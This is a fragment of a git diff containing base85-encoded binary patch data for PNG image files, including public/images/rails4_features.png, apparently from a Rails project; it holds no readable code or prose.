zg^sAV%y)M~9*Gx4gig&e)3?!l5|PIU`og9ju18Kf{P6AFH}3J=YgvAdjBWKz=gJuH4Eay&`JxA;$%qwgGZE{ zyl?f>O&TO09hPaJrzk~9U}4x7i_#2pyyLMdsX;B}YE7arE8s4J#ov9rkS#CIcPbJg zKY*xRS5WgM#EzlAs}1kUtY1IEUEScTA4xQ|LSGu4)pp6t=`wzR1pdP?lfsR!bMde zkKm(r$Lcg|=7a7_tj&gZV$O?YRN~)b{eLeUp%11g+1hlSEe)iA29gjLYeTwxL1DT+Zc-bbIR*cIx53o~bBVbPIoa-28U9}3H=9GoLbagxTsfcM1G)Um z;%AhOr)-beBQ&k{Cam|9_#lfkq#=uA>4+8(2>(DxZi@8aNbr5(v6P0|?1Rn~hvvBGx^VzvOPV8KG$8FkG4+-qCGOCxi`1&zCe1A@0Cfdo& zj`{rjVA18-en@T>n>OQg6@{3HNQ_p);9VJkAv>+*SO_yXBgvRhXicn%S1dQmV96mn z7neu5Eo*4#uWO0-Rc8a5U67wofrbIzcSxnT>L-<`TfYXZt3VhujvtfAzw`H2j)Z4bHhxpM&SEVmHwjkbJ#p1E)i z20j8ENZqEKG*I#$AAo#&*u{|ziukFwJba|siFBgO1Byu3z>~MMo`e8&@o^n}Uaw`U zriufD0N2lIxRb5_l=h|H-#z+)q2&qr@aUUmNgXR2TVHRlS^l}_B%MrH?IlQ`hT~mt z0i`4!owU7}h|$)X2mC?-yTPxOc@y*G$HAiVE@&KNII7As`8aCnJ)ncumcf8cYO4q? z4XDE269p^Wj#?s{_1!lyNqE%avh;q5?$SQ%{owN6+S;PPmy(ta+ZcS@Mse`nb)>sOPe2h+pD8kIN=DfL>~ z+F}C^pa`R(p#i*ETEl-!F9OWx9l&`2bp15nmGX9g*wfmr&J}n&U&;obZsM#M2=mpL zx4bsQ)p)9S5D2<^Ki;l3%7vNSeq&7fVpOtag(Ud6$RaUdkY|xhx>NGpenP?5iNf+K zQH0-N^w4zh^i21da{jZ6hzLrH2qK=y+bmVSCyg^_ygWPT(T~!tbcSkfO=XTdfVDwPLCm3%>MOFpr zftN~)OXI(sC*Jl1(tEetmjidI{5#Fk+dH)w0sJANRwMfD_VF_#D5?MV(EewR+Ambo Xu&jf7u^rwB;Ge3ZmcnZ}>&X8D1m^I( diff --git a/public/images/rails4_features.png b/public/images/rails4_features.png index a979f022070744e5e9232ff63c6d772b14c9a652..ac73f05cf7294ca66f5df874ccdc5bc753d2b818 100644 GIT binary patch literal 65840 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 